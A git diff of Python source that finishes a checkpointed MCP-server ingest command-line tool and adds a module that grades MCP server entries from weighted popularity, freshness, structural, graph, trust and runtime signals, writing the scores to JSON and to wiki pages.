+            _progress(seen_this_run, slug, "skip-processed")
+            if graceful and graceful.requested:
+                break
+            continue
+        if slug in checkpoint["failures"]:
+            if not retry_failures:
+                skipped += 1
+                _progress(seen_this_run, slug, "skip-prior-failure")
+                if graceful and graceful.requested:
+                    break
+                continue
+            # Retry: clear the old failure so a new attempt's outcome
+            # is the recorded one, whether success or a new failure.
+            del checkpoint["failures"][slug]
+
+        # Attempt.
+        try:
+            result = add_mcp(record=record, wiki_path=wiki_path, dry_run=dry_run)
+            outcome = "added" if result["is_new_page"] else "merged"
+            if outcome == "added":
+                added += 1
+            else:
+                merged += 1
+            checkpoint["processed"][slug] = {"result": outcome, "at": _now_iso()}
+            _progress(seen_this_run, slug, outcome)
+        except IntakeRejected as exc:
+            rejected += 1
+            codes = ", ".join(f.code for f in exc.decision.failures) or "unknown"
+            # Rejections are *not* failures — they're a valid outcome.
+            # Record under processed so resumes don't reprocess, but
+            # annotate with the reason.
+            checkpoint["processed"][slug] = {
+                "result": f"rejected:{codes}",
+                "at": _now_iso(),
+            }
+            _progress(seen_this_run, slug, f"rejected:{codes}")
+        except Exception as exc:  # noqa: BLE001 — batch must continue
+            errored += 1
+            checkpoint["failures"][slug] = {
+                "error": f"{type(exc).__name__}: {exc}",
+                "at": _now_iso(),
+            }
+            _progress(seen_this_run, slug, "error")
+
+        if seen_this_run % flush_every == 0:
+            save_checkpoint(wiki_path, checkpoint)
+
+        if graceful and graceful.requested:
+            break
+
+    # Final flush — captures the tail end of the run, SIGINT or not.
+    save_checkpoint(wiki_path, checkpoint)
+
+    if report_progress:
+        tail = " (interrupted)" if graceful and graceful.requested else ""
+        print(
+            f"\nIngest summary{tail}: "
+            f"{added} added, {merged} merged, {rejected} rejected, "
+            f"{errored} errors, {skipped} skipped",
+            flush=True,
+        )
+
+    return checkpoint
+
+
+# ── CLI ──────────────────────────────────────────────────────────────────────
+
+
+def _iter_records_from(
+    args: argparse.Namespace,
+) -> Iterable[dict[str, Any]]:
+    """Yield record dicts from whichever input arg was supplied.
+
+    We don't pre-read the whole stream — that would defeat the point
+    of streaming from ``ctx-mcp-fetch | ctx-mcp-ingest``. JSONL readers
+    yield per line; the JSON-object reader is a single-record degenerate.
+    """
+    if args.from_json:
+        path = Path(os.path.expanduser(args.from_json))
+        yield json.loads(path.read_text(encoding="utf-8"))
+        return
+    if args.from_jsonl:
+        path = Path(os.path.expanduser(args.from_jsonl))
+        for lineno, raw in enumerate(path.read_text(encoding="utf-8").splitlines(), 1):
+            line = raw.strip()
+            if not line:
+                continue
+            try:
+                yield json.loads(line)
+            except json.JSONDecodeError as exc:
+                print(f"Warning: line {lineno} bad JSON: {exc}", file=sys.stderr)
+        return
+    # Default: stdin.
+    for lineno, raw in enumerate(sys.stdin, 1):
+        line = raw.strip()
+        if not line:
+            continue
+        try:
+            yield json.loads(line)
+        except json.JSONDecodeError as exc:
+            print(f"Warning: stdin line {lineno} bad JSON: {exc}", file=sys.stderr)
+
+
+def _print_status(wiki_path: Path, source: str) -> None:
+    """Dump a human-readable summary of the current checkpoint."""
+    cp = load_checkpoint(wiki_path, source)
+    print(f"source:       {cp['source']}")
+    print(f"started_at:   {cp['started_at']}")
+    print(f"updated_at:   {cp['updated_at']}")
+    print(f"total_seen:   {cp['total_seen']}")
+    print(f"processed:    {len(cp['processed'])}")
+    print(f"failures:     {len(cp['failures'])}")
+    if cp["failures"]:
+        print("\nLast 10 failures:")
+        # Dict iteration is insertion-ordered (Python 3.7+) so the tail
+        # is genuinely the most-recently-recorded failures.
+        for slug, info in list(cp["failures"].items())[-10:]:
+            print(f"  {slug}: {info['error']}")
+
+
+def _build_parser() -> argparse.ArgumentParser:
+    parser = argparse.ArgumentParser(
+        prog="ctx-mcp-ingest",
+        description=(
+            "Resume-safe MCP ingest. Checkpoints per source so a "
+            "crashed or interrupted run picks up where it left off."
+        ),
+    )
+    parser.add_argument(
+        "--source",
+        required=True,
+        help="Source name (e.g. 'awesome-mcp', 'pulsemcp'). Pins the checkpoint.",
+    )
+    inp = parser.add_mutually_exclusive_group()
+    inp.add_argument("--from-json", metavar="PATH", help="Single JSON object file")
+    inp.add_argument("--from-jsonl", metavar="PATH", help="JSONL file, one record per line")
+    inp.add_argument(
+        "--from-stdin",
+        action="store_true",
+        help="Read JSONL records from stdin (default if no other input given)",
+    )
+    parser.add_argument(
+        "--status",
+        action="store_true",
+        help="Print checkpoint summary for --source and exit",
+    )
+    parser.add_argument(
+        "--retry-failures",
+        action="store_true",
+        help="Re-attempt slugs recorded in the checkpoint's failures map",
+    )
+    parser.add_argument(
+        "--reset",
+        action="store_true",
+        help="Delete the checkpoint file for --source before starting",
+    )
+    parser.add_argument(
+        "--dry-run",
+        action="store_true",
+        help="Validate and route records but skip writes and embeddings",
+    )
+    parser.add_argument(
+        "--flush-every",
+        type=int,
+        default=DEFAULT_FLUSH_EVERY,
+        help=f"Flush checkpoint every N records (default: {DEFAULT_FLUSH_EVERY})",
+    )
+    parser.add_argument(
+        "--wiki",
+        default=str(cfg.wiki_dir),
+        help="Wiki root path",
+    )
+    parser.add_argument(
+        "--quiet",
+        action="store_true",
+        help="Suppress per-record progress lines",
+    )
+    return parser
+
+
+def _force_utf8_stdio() -> None:
+    """Reconfigure stdout/stderr to UTF-8.
+
+    Mirror of the same helper in mcp_fetch. Needed here because non-ASCII
+    slugs, descriptions, or error messages would crash Windows' default
+    cp1252 console the moment a record with CJK / emoji / accented text
+    flows through the per-record progress printer.
+    """
+    for stream in (sys.stdout, sys.stderr):
+        reconfigure = getattr(stream, "reconfigure", None)
+        if reconfigure is None:
+            continue
+        try:
+            reconfigure(encoding="utf-8", errors="replace")
+        except (OSError, ValueError):
+            pass
+
+
+def main() -> None:
+    """Entry point for the ``ctx-mcp-ingest`` console script."""
+    _force_utf8_stdio()
+    parser = _build_parser()
+    args = parser.parse_args()
+
+    wiki_path = Path(os.path.expanduser(args.wiki))
+    ensure_wiki(str(wiki_path))
+
+    if args.status:
+        _print_status(wiki_path, args.source)
+        sys.exit(0)
+
+    if args.flush_every <= 0:
+        print("Error: --flush-every must be a positive integer", file=sys.stderr)
+        sys.exit(2)
+
+    if args.reset:
+        try:
+            _checkpoint_path(wiki_path, args.source).unlink()
+            print(f"Reset checkpoint for source {args.source!r}.", file=sys.stderr)
+        except FileNotFoundError:
+            pass
+
+    checkpoint = load_checkpoint(wiki_path, args.source)
+
+    graceful = _GracefulExit()
+    graceful.install()
+    try:
+        ingest_records(
+            _iter_records_from(args),
+            source=args.source,
+            wiki_path=wiki_path,
+            checkpoint=checkpoint,
+            dry_run=args.dry_run,
+            retry_failures=args.retry_failures,
+            flush_every=args.flush_every,
+            graceful=graceful,
+            report_progress=not args.quiet,
+        )
+    finally:
+        graceful.uninstall()
+
+    # Non-zero exit when failures remain uncleared — lets CI tie
+    # "ingest green" to "no outstanding error records".
+    sys.exit(1 if checkpoint["failures"] else 0)
+
+
+# _MCP_ENTITY_SUBDIR re-exported for tests that want to look at disk
+# state without re-importing mcp_add.
+_MCP_ENTITY_DIR_NAME = _MCP_ENTITY_SUBDIR
+
+
+if __name__ == "__main__":
+    main()
diff --git a/src/mcp_quality.py b/src/mcp_quality.py
new file mode 100644
index 0000000000000000000000000000000000000000..a759d49098fd88df2dc6cdb18b2f35e789521e26
--- /dev/null
+++ b/src/mcp_quality.py
@@ -0,0 +1,1074 @@
+#!/usr/bin/env python3
+"""
+mcp_quality.py -- Quality orchestrator and three-sink persistence for MCP servers.
+
+Phase 4 of the MCP integration plan.
+
+Flow:
+
+  1. ``extract_signals_for_slug`` resolves the entity .md on disk, parses
+     its frontmatter, looks up graph degrees from a pre-built index, and
+     calls all six signal functions from ``mcp_quality_signals``.
+  2. ``compute_quality`` aggregates those ``SignalResult`` instances via a
+     weighted sum and maps the result to an A/B/C/D grade.
+  3. ``persist_quality`` mirrors the result to three on-disk sinks so every
+     downstream consumer — Obsidian, machine-readable automations, the wiki
+     UI — sees the same number.
+
+Persistence sinks:
+
+  - Sidecar JSON — ``~/.claude/skill-quality/mcp/.json`` (canonical
+    machine-readable form; the ``mcp/`` subdirectory keeps MCP scores
+    isolated from skill scores so ``wiki_graphify``'s existing
+    ``_attach_quality_attrs`` does not pick them up under ``skill:`` node IDs).
+  - Frontmatter — ``quality_score``, ``quality_grade``, ``quality_updated_at``
+    keys on the wiki entity page.
+  - Wiki body — a ``## Quality`` section rendered as a Markdown table,
+    between ```` and ```` markers.
+
+CLI verbs:
+
+  - ``recompute`` — recompute one slug (--slug) or every MCP entity (--all).
+  - ``show``      — print the current sidecar JSON for a slug.
+  - ``explain``   — print signal breakdown + evidence for a slug.
+  - ``list``      — print every MCP slug with its grade, tab-separated.
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import logging
+import re
+import sys
+from dataclasses import dataclass, field
+from datetime import datetime, timezone
+from pathlib import Path
+from typing import Any, Mapping
+
+from ctx.utils._fs_utils import atomic_write_text as _atomic_write
+from mcp_entity import MCP_SLUG_RE, McpRecord
+from ctx.core.quality.quality_signals import SignalResult
+from ctx.core.wiki.wiki_utils import parse_frontmatter_and_body
+
+_logger = logging.getLogger(__name__)
+
+
+# ────────────────────────────────────────────────────────────────────
+# Config defaults
+# ────────────────────────────────────────────────────────────────────
+
+_DEFAULT_MCP_WEIGHTS: dict[str, float] = {
+    "popularity": 0.30,
+    "freshness":  0.20,
+    "structural": 0.15,
+    "graph":      0.15,
+    "trust":      0.10,
+    "runtime":    0.10,
+}  # sums to 1.0
+
+_MCP_WEIGHT_KEYS: frozenset[str] = frozenset(_DEFAULT_MCP_WEIGHTS)
+
+_DEFAULT_MCP_GRADE_THRESHOLDS: dict[str, float] = {
+    "A": 0.80,
+    "B": 0.60,
+    "C": 0.40,
+}
+
+# Graph node-ID prefix used by wiki_graphify for MCP-server nodes.
+_MCP_NODE_PREFIX = "mcp-server:"
+
+
+# ────────────────────────────────────────────────────────────────────
+# Config dataclass
+# ────────────────────────────────────────────────────────────────────
+
+
+@dataclass(frozen=True)
+class McpQualityConfig:
+    """All tunable knobs for the MCP quality scorer. Frozen — safe to share."""
+
+    weights: Mapping[str, float] = field(
+        default_factory=lambda: dict(_DEFAULT_MCP_WEIGHTS)
+    )
+    grade_thresholds: Mapping[str, float] = field(
+        default_factory=lambda: dict(_DEFAULT_MCP_GRADE_THRESHOLDS)
+    )
+    star_saturation: int = 1000
+    freshness_half_life_days: float = 90.0
+    graph_degree_saturation: int = 20
+
+    def __post_init__(self) -> None:
+        # --- weight vector ---
+        if set(self.weights) != _MCP_WEIGHT_KEYS:
+            raise ValueError(
+                f"weights must supply exactly: {sorted(_MCP_WEIGHT_KEYS)}"
+            )
+        total = sum(self.weights.values())
+        if not 0.99 <= total <= 1.01:
+            raise ValueError(f"weights must sum to 1.0; got {total:.4f}")
+        for k, v in self.weights.items():
+            if v < 0:
+                raise ValueError(f"weight for {k!r} must be >= 0, got {v}")
+
+        # --- grade thresholds ---
+        if set(self.grade_thresholds) != {"A", "B", "C"}:
+            raise ValueError("grade_thresholds must supply A, B, C cutoffs")
+        a = self.grade_thresholds["A"]
+        b = self.grade_thresholds["B"]
+        c = self.grade_thresholds["C"]
+        if not 0.0 <= c <= b <= a <= 1.0:
+            raise ValueError(
+                "grade thresholds must satisfy 0 <= C <= B <= A <= 1"
+            )
+
+        # --- numeric bounds ---
+        if self.star_saturation <= 0:
+            raise ValueError("star_saturation must be > 0")
+        if self.freshness_half_life_days <= 0:
+            raise ValueError("freshness_half_life_days must be > 0")
+        if self.graph_degree_saturation <= 0:
+            raise ValueError("graph_degree_saturation must be > 0")
+
+
+# ────────────────────────────────────────────────────────────────────
+# Result dataclass
+# ────────────────────────────────────────────────────────────────────
+
+
+@dataclass(frozen=True)
+class McpQualityScore:
+    """One MCP server's quality score snapshot — frozen for safe sharing."""
+
+    slug: str
+    raw_score: float                    # weighted sum before clamping
+    score: float                        # final, clamped to [0, 1]
+    grade: str                          # A / B / C / D
+    signals: Mapping[str, SignalResult]
+    weights: Mapping[str, float]
+    computed_at: str                    # ISO-8601 UTC
+
+    def to_dict(self) -> dict[str, Any]:
+        """Serialise to a plain dict for JSON persistence."""
+        return {
+            "slug": self.slug,
+            "raw_score": round(self.raw_score, 4),
+            "score": round(self.score, 4),
+            "grade": self.grade,
+            "signals": {
+                name: {
+                    "score": round(sig.score, 4),
+                    "evidence": dict(sig.evidence),
+                }
+                for name, sig in self.signals.items()
+            },
+            "weights": dict(self.weights),
+            "computed_at": self.computed_at,
+        }
+
+
+# ────────────────────────────────────────────────────────────────────
+# Slug safety
+# ────────────────────────────────────────────────────────────────────
+
+
+def _ensure_safe_slug(slug: str) -> str:
+    """Reject slugs that do not match the MCP Tier-2 contract.
+
+    MCP slugs are stricter than skill slugs: lowercase, hyphens only,
+    no consecutive hyphens, no leading/trailing hyphens.
+    """
+    if not isinstance(slug, str) or not MCP_SLUG_RE.match(slug):
+        raise ValueError(f"invalid MCP slug: {slug!r}")
+    return slug
+
+
+# ────────────────────────────────────────────────────────────────────
+# Utility
+# ────────────────────────────────────────────────────────────────────
+
+
+def _now_iso() -> str:
+    return datetime.now(timezone.utc).isoformat(timespec="seconds")
+
+
+_F_FLOOR: float = 0.20
+
+
+def _grade_from_score(score: float, thresholds: Mapping[str, float]) -> str:
+    """Map a numeric score to a letter grade A / B / C / D / F.
+
+    F is reserved for very low scores (below ``_F_FLOOR = 0.20``) to
+    distinguish broken or empty entries from merely low-quality ones.
+    Skills use F only on hard-floor failures (intake_fail) but MCP
+    quality has no hard floors today, so the F band is purely score-
+    driven. A future hard-floor mechanism (e.g. dead-link detection
+    in Phase 6) can override this band.
+    """
+    if score >= thresholds["A"]:
+        return "A"
+    if score >= thresholds["B"]:
+        return "B"
+    if score >= thresholds["C"]:
+        return "C"
+    if score >= _F_FLOOR:
+        return "D"
+    return "F"
+
+
+# ────────────────────────────────────────────────────────────────────
+# Pure scoring
+# ────────────────────────────────────────────────────────────────────
+
+
+def compute_quality(
+    *,
+    slug: str,
+    signals: Mapping[str, SignalResult],
+    config: McpQualityConfig | None = None,
+    computed_at: str | None = None,
+) -> McpQualityScore:
+    """Aggregate six MCP signals into a weighted score and letter grade.
+
+    Args:
+        slug: MCP server slug (validated against MCP_SLUG_RE).
+        signals: Mapping of signal name → SignalResult. Must contain
+            exactly the six MCP signal names.
+        config: Optional scorer config; defaults to ``McpQualityConfig()``.
+        computed_at: Optional ISO-8601 timestamp; defaults to now (UTC).
+
+    Returns:
+        Frozen ``McpQualityScore``.
+
+    Raises:
+        ValueError: If ``slug`` is invalid or ``signals`` keys don't
+            match the six MCP signal names.
+    """
+    _ensure_safe_slug(slug)
+    cfg = config or McpQualityConfig()
+
+    if set(signals) != _MCP_WEIGHT_KEYS:
+        missing = _MCP_WEIGHT_KEYS - set(signals)
+        extra = set(signals) - _MCP_WEIGHT_KEYS
+        raise ValueError(
+            f"signals keys mismatch: missing={sorted(missing)}, extra={sorted(extra)}"
+        )
+
+    raw = sum(cfg.weights[name] * signals[name].score for name in _MCP_WEIGHT_KEYS)
+    score = max(0.0, min(1.0, raw))
+    grade = _grade_from_score(score, cfg.grade_thresholds)
+
+    return McpQualityScore(
+        slug=slug,
+        raw_score=raw,
+        score=score,
+        grade=grade,
+        signals=dict(signals),
+        weights=dict(cfg.weights),
+        computed_at=computed_at or _now_iso(),
+    )
+
+
+# ────────────────────────────────────────────────────────────────────
+# Entity path resolution
+# ────────────────────────────────────────────────────────────────────
+
+
+def _resolve_mcp_entity_path(slug: str, wiki_dir: Path) -> Path:
+    """Find ``/entities/mcp-servers//.md``.
+
+    Shard is ``slug[0]`` for alphabetic slugs or ``'0-9'`` for
+    digit-leading slugs — mirrors ``McpRecord.entity_relpath`` logic.
+    """
+    _ensure_safe_slug(slug)
+    first = slug[0]
+    shard = "0-9" if first.isdigit() else first
+    return wiki_dir / "entities" / "mcp-servers" / shard / f"{slug}.md"
+
+
+def _read_mcp_entity(
+    slug: str, wiki_dir: Path
+) -> tuple[McpRecord, dict[str, Any]]:
+    """Read entity .md, parse frontmatter, reconstruct McpRecord.
+
+    Args:
+        slug: MCP server slug.
+        wiki_dir: Root of the wiki (contains the ``entities/`` tree).
+
+    Returns:
+        ``(record, frontmatter_dict)`` where ``record`` is an
+        ``McpRecord`` reconstructed from frontmatter fields.
+
+    Raises:
+        FileNotFoundError: If the entity page does not exist.
+        ValueError: If the frontmatter cannot produce a valid McpRecord.
+    """
+    path = _resolve_mcp_entity_path(slug, wiki_dir)
+    if not path.is_file():
+        raise FileNotFoundError(
+            f"MCP entity not found: {path}"
+        )
+    raw = path.read_text(encoding="utf-8", errors="replace")
+    fm, _body = parse_frontmatter_and_body(raw)
+    # McpRecord.from_dict is tolerant of missing optional fields.
+    record = McpRecord.from_dict({**fm, "slug": slug})
+    return record, fm
+
+
+# ────────────────────────────────────────────────────────────────────
+# Graph index
+# ────────────────────────────────────────────────────────────────────
+
+
+def load_graph_index(wiki_dir: Path) -> dict[str, dict[str, Any]]:
+    """Load ``/graphify-out/graph.json`` and build a degree index.
+
+    Returns a mapping of ``{node_id: {"degree": int, "cross_type_degree": int}}``.
+    Cross-type degree counts neighbours whose ``node_id`` starts with a
+    different type prefix (e.g. ``skill:`` or ``agent:`` vs ``mcp-server:``).
+    Returns an empty dict if the file is missing or malformed.
+    """
+    graph_path = wiki_dir / "graphify-out" / "graph.json"
+    if not graph_path.is_file():
+        return {}
+    try:
+        data = json.loads(graph_path.read_text(encoding="utf-8"))
+    except (json.JSONDecodeError, OSError):
+        _logger.warning("load_graph_index: could not parse %s", graph_path)
+        return {}
+
+    if not isinstance(data, dict) or "nodes" not in data:
+        return {}
+
+    # Build neighbour lists from links/edges.
+    edge_key = "links" if "links" in data else "edges"
+    raw_edges = data.get(edge_key) or []
+
+    # adjacency: node_id -> set of neighbour node_ids
+    adjacency: dict[str, set[str]] = {}
+    for node in data.get("nodes", []):
+        nid = node.get("id")
+        if isinstance(nid, str):
+            adjacency[nid] = set()
+
+    for edge in raw_edges:
+        if not isinstance(edge, dict):
+            continue
+        src = edge.get("source") or edge.get("from")
+        tgt = edge.get("target") or edge.get("to")
+        if isinstance(src, str) and isinstance(tgt, str):
+            adjacency.setdefault(src, set()).add(tgt)
+            adjacency.setdefault(tgt, set()).add(src)
+
+    index: dict[str, dict[str, Any]] = {}
+    for node_id, neighbours in adjacency.items():
+        # Derive this node's type prefix (e.g. "skill", "mcp-server").
+        node_prefix = node_id.split(":")[0] if ":" in node_id else ""
+        cross_type = sum(
+            1
+            for nb in neighbours
+            if (nb.split(":")[0] if ":" in nb else "") != node_prefix
+        )
+        index[node_id] = {
+            "degree": len(neighbours),
+            "cross_type_degree": cross_type,
+        }
+    return index
+
+
+# ────────────────────────────────────────────────────────────────────
+# Age computation helper
+# ────────────────────────────────────────────────────────────────────
+
+
+def _commit_age_days(last_commit_at: str | None) -> float | None:
+    """Parse an ISO-8601 timestamp and return age in days from now (UTC).
+
+    Returns ``None`` if the input is ``None`` or unparseable.
+    """
+    if last_commit_at is None:
+        return None
+    try:
+        parsed = datetime.fromisoformat(last_commit_at)
+    except (ValueError, TypeError):
+        return None
+    if parsed.tzinfo is None:
+        parsed = parsed.replace(tzinfo=timezone.utc)
+    delta = datetime.now(timezone.utc) - parsed
+    return max(0.0, delta.total_seconds() / 86400.0)
+
+
+# ────────────────────────────────────────────────────────────────────
+# Signal extraction
+# ────────────────────────────────────────────────────────────────────
+
+
+def extract_signals_for_slug(
+    slug: str,
+    *,
+    wiki_dir: Path,
+    config: McpQualityConfig | None = None,
+    graph_index: Mapping[str, dict[str, Any]] | None = None,
+) -> Mapping[str, SignalResult]:
+    """Read entity, compute graph degrees, call all six signal functions.
+
+    Args:
+        slug: MCP server slug.
+        wiki_dir: Root of the wiki.
+        config: Optional scorer config; defaults to ``McpQualityConfig()``.
+        graph_index: Optional pre-loaded ``{node_id: {"degree": int,
+            "cross_type_degree": int}}`` dict. When ``None``, graph
+            signals receive degree=0 (isolated). Callers processing many
+            slugs should pre-load via ``load_graph_index()`` and pass it
+            in once.
+
+    Returns:
+        Dict keyed by the six signal names.
+
+    Raises:
+        FileNotFoundError: If the entity page is missing.
+        ImportError: If ``mcp_quality_signals`` is not yet installed.
+    """
+    from mcp_quality_signals import (  # deferred: sibling module may not exist yet
+        freshness_signal,
+        graph_signal,
+        popularity_signal,
+        runtime_signal,
+        structural_signal,
+        trust_signal,
+    )
+
+    _ensure_safe_slug(slug)
+    cfg = config or McpQualityConfig()
+
+    record, fm = _read_mcp_entity(slug, wiki_dir)
+
+    # Graph degrees.
+    node_id = f"{_MCP_NODE_PREFIX}{slug}"
+    if graph_index is not None:
+        node_data = graph_index.get(node_id, {})
+        degree = int(node_data.get("degree", 0))
+        cross_type_degree = int(node_data.get("cross_type_degree", 0))
+    else:
+        degree = 0
+        cross_type_degree = 0
+
+    # Runtime data from frontmatter (enriched by the runtime-tracker later).
+    invocation_count = int(fm.get("invocation_count") or 0)
+    error_count = int(fm.get("error_count") or 0)
+    last_invoked_raw = fm.get("last_invoked_at")
+    last_invoked_age: float | None = _commit_age_days(
+        last_invoked_raw if isinstance(last_invoked_raw, str) else None
+    )
+
+    pop = popularity_signal(
+        stars=record.stars,
+        star_saturation=cfg.star_saturation,
+    )
+    fresh = freshness_signal(
+        last_commit_age_days=_commit_age_days(record.last_commit_at),
+        half_life_days=cfg.freshness_half_life_days,
+    )
+    struct = structural_signal(record=record)
+    graph = graph_signal(
+        degree=degree,
+        cross_type_degree=cross_type_degree,
+        degree_saturation=cfg.graph_degree_saturation,
+    )
+    trust = trust_signal(record=record)
+    runtime = runtime_signal(
+        invocation_count=invocation_count,
+        error_count=error_count,
+        last_invoked_age_days=last_invoked_age,
+    )
+
+    return {
+        "popularity": pop,
+        "freshness": fresh,
+        "structural": struct,
+        "graph": graph,
+        "trust": trust,
+        "runtime": runtime,
+    }
+
+
+# ────────────────────────────────────────────────────────────────────
+# Paths
+# ────────────────────────────────────────────────────────────────────
+
+
+def default_sidecar_dir() -> Path:
+    """Return the directory where per-slug MCP quality JSONs land.
+
+    Resolution order:
+      1. ``mcp_quality.paths.sidecar_dir`` from ``ctx_config.cfg``
+         — the configured path. Writing ``~`` at the start is expanded
+         via ``Path.home()`` so tests that monkeypatch ``Path.home``
+         redirect writes into tmp_path. Without this,
+         ``os.path.expanduser`` would consult ``$HOME`` / ``%USERPROFILE%``
+         directly and bypass the monkeypatch.
+      2. Fallback: ``Path.home() / .claude / skill-quality / mcp``.
+
+    The configured path points at the parent ``skill-quality/`` dir;
+    we append ``mcp/`` to keep MCP scores in their own subtree
+    alongside skill+agent scores.
+    """
+    try:
+        from ctx_config import cfg  # local import — avoid cost on test import
+        raw = cfg.get("mcp_quality", {}) or {}
+        paths = raw.get("paths", {}) if isinstance(raw, dict) else {}
+        configured = paths.get("sidecar_dir") if isinstance(paths, dict) else None
+        if isinstance(configured, str) and configured.strip():
+            # Honor Path.home() monkeypatching for tests. os.path.
+            # expanduser would shortcut through the env and miss it.
+            expanded = configured
+            if expanded.startswith("~"):
+                expanded = str(Path.home()) + expanded[1:]
+            return Path(expanded)
+    except Exception:  # noqa: BLE001 — config unavailable in some test contexts
+        pass
+    return Path.home() / ".claude" / "skill-quality" / "mcp"
+
+
+def sidecar_path(slug: str, *, sidecar_dir: Path | None = None) -> Path:
+    """Return the sidecar JSON path for *slug*."""
+    _ensure_safe_slug(slug)
+    root = sidecar_dir if sidecar_dir is not None else default_sidecar_dir()
+    return root / f"{slug}.json"
+
+
+# ────────────────────────────────────────────────────────────────────
+# Persistence (three sinks)
+# ────────────────────────────────────────────────────────────────────
+
+_QUALITY_SECTION_HEADER = "## Quality"
+_QUALITY_SECTION_BEGIN = ""
+_QUALITY_SECTION_END = ""
+
+_QUALITY_BLOCK_RE = re.compile(
+    re.escape(_QUALITY_SECTION_BEGIN) + r".*?" + re.escape(_QUALITY_SECTION_END),
+    re.DOTALL,
+)
+
+_SIGNAL_ORDER = ("popularity", "freshness", "structural", "graph", "trust", "runtime")
+
+
+def _render_quality_section(score: McpQualityScore) -> str:
+    """Build the ``## Quality`` Markdown block for injection into the entity page."""
+    lines: list[str] = [
+        _QUALITY_SECTION_BEGIN,
+        _QUALITY_SECTION_HEADER,
+        "",
+        f"- **Grade:** {score.grade}",
+        f"- **Score:** {score.score:.2f} (raw {score.raw_score:.2f})",
+        f"- **Computed:** {score.computed_at}",
+        "",
+        "| Signal | Score | Weight |",
+        "| --- | --- | --- |",
+    ]
+    for name in _SIGNAL_ORDER:
+        sig = score.signals.get(name)
+        w = score.weights.get(name, 0.0)
+        if sig is not None:
+            lines.append(f"| {name} | {sig.score:.2f} | {w:.2f} |")
+    lines.append("")
+    lines.append(_QUALITY_SECTION_END)
+    return "\n".join(lines)
+
+
+def _inject_quality_section(body: str, block: str) -> str:
+    """Replace any existing quality block or append at the end."""
+    if _QUALITY_BLOCK_RE.search(body):
+        return _QUALITY_BLOCK_RE.sub(block, body, count=1)
+    sep = "" if body.endswith("\n") else "\n"
+    return body + sep + "\n" + block + "\n"
+
+
+def _update_frontmatter_quality(raw_md: str, score: McpQualityScore) -> str:
+    """Update ``quality_*`` keys in frontmatter; preserve all other keys.
+
+    Surgical edit: only rewrites the three quality lines to keep diffs
+    minimal on every recompute.
+    """
+    if not raw_md.startswith("---"):
+        return raw_md
+    end_idx = raw_md.find("\n---", 3)
+    if end_idx == -1:
+        return raw_md
+    fm_block = raw_md[3 : end_idx + 1]
+    after_fm = raw_md[end_idx + 4 :]
+
+    pairs: list[str] = [
+        f"quality_score: {score.score:.4f}",
+        f"quality_grade: {score.grade}",
+        f"quality_updated_at: {score.computed_at}",
+    ]
+
+    lines = fm_block.splitlines()
+    kept: list[str] = [
+        ln for ln in lines
+        if not ln.lstrip().startswith(
+            ("quality_score:", "quality_grade:", "quality_updated_at:")
+        )
+    ]
+    while kept and not kept[-1].strip():
+        kept.pop()
+    new_fm = "\n".join(kept + pairs)
+    return "---" + "\n" + new_fm + "\n---" + after_fm
+
+
+def persist_quality(
+    score: McpQualityScore,
+    *,
+    wiki_dir: Path,
+    sidecar_dir: Path | None = None,
+    update_frontmatter: bool = True,
+) -> dict[str, Path]:
+    """Write the quality result to the three on-disk sinks atomically.
+
+    Sinks:
+      1. Sidecar JSON at ``~/.claude/skill-quality/mcp/.json``.
+      2. Frontmatter ``quality_*`` keys on the entity .md page.
+      3. Body ``## Quality`` section between marker comments.
+
+    Returns:
+        Mapping of sink-name → ``Path`` that was written.
+    """
+    written: dict[str, Path] = {}
+
+    # Sink 1 — sidecar JSON.
+    sc_path = sidecar_path(score.slug, sidecar_dir=sidecar_dir)
+    _atomic_write(
+        sc_path,
+        json.dumps(score.to_dict(), indent=2, sort_keys=True, ensure_ascii=False),
+    )
+    written["sidecar"] = sc_path
+
+    if not update_frontmatter:
+        return written
+
+    # Sinks 2 + 3 — entity .md (frontmatter + body).
+    entity_path = _resolve_mcp_entity_path(score.slug, wiki_dir)
+    if not entity_path.is_file():
+        _logger.info(
+            "mcp_quality: no entity page at %s; frontmatter/body sinks skipped",
+            entity_path,
+        )
+        return written
+
+    raw = entity_path.read_text(encoding="utf-8", errors="replace")
+
+    # Sink 2 — frontmatter.
+    updated = _update_frontmatter_quality(raw, score)
+
+    # Sink 3 — body block.
+    # Split at the frontmatter boundary then operate only on the body.
+    if updated.startswith("---"):
+        fm_end = updated.find("\n---", 3)
+        if fm_end != -1:
+            header = updated[: fm_end + 4]
+            body = updated[fm_end + 4 :]
+            new_body = _inject_quality_section(body, _render_quality_section(score))
+            updated = header + new_body
+
+    _atomic_write(entity_path, updated)
+    written["frontmatter"] = entity_path
+    written["wiki_body"] = entity_path
+
+    return written
+
+
+# ────────────────────────────────────────────────────────────────────
+# Load back from sidecar
+# ────────────────────────────────────────────────────────────────────
+
+
+def load_quality(
+    slug: str, *, sidecar_dir: Path | None = None
+) -> McpQualityScore | None:
+    """Read a previously-persisted ``McpQualityScore`` from disk.
+
+    Returns ``None`` if no sidecar exists. Partial/corrupt files raise
+    ``json.JSONDecodeError`` or ``ValueError`` — caller decides whether
+    to skip or recompute.
+    """
+    path = sidecar_path(slug, sidecar_dir=sidecar_dir)
+    if not path.is_file():
+        return None
+    data = json.loads(path.read_text(encoding="utf-8"))
+    signals: dict[str, SignalResult] = {}
+    for name, payload in data.get("signals", {}).items():
+        signals[name] = SignalResult(
+            score=float(payload.get("score", 0.0)),
+            evidence=dict(payload.get("evidence", {})),
+        )
+    return McpQualityScore(
+        slug=data["slug"],
+        raw_score=float(data.get("raw_score", 0.0)),
+        score=float(data.get("score", 0.0)),
+        grade=data.get("grade", "D"),
+        signals=signals,
+        weights=dict(data.get("weights", {})),
+        computed_at=data.get("computed_at", ""),
+    )
+
+
+# ────────────────────────────────────────────────────────────────────
+# High-level orchestration
+# ────────────────────────────────────────────────────────────────────
+
+
+def recompute_slug(
+    slug: str,
+    *,
+    wiki_dir: Path,
+    config: McpQualityConfig | None = None,
+    graph_index: Mapping[str, dict[str, Any]] | None = None,
+    sidecar_dir: Path | None = None,
+    update_frontmatter: bool = True,
+) -> McpQualityScore:
+    """End-to-end recompute: extract signals → compute → persist."""
+    signals = extract_signals_for_slug(
+        slug,
+        wiki_dir=wiki_dir,
+        config=config,
+        graph_index=graph_index,
+    )
+    score = compute_quality(
+        slug=slug,
+        signals=signals,
+        config=config,
+        computed_at=_now_iso(),
+    )
+    persist_quality(
+        score,
+        wiki_dir=wiki_dir,
+        sidecar_dir=sidecar_dir,
+        update_frontmatter=update_frontmatter,
+    )
+    return score
+
+
+def discover_mcp_slugs(wiki_dir: Path) -> list[str]:
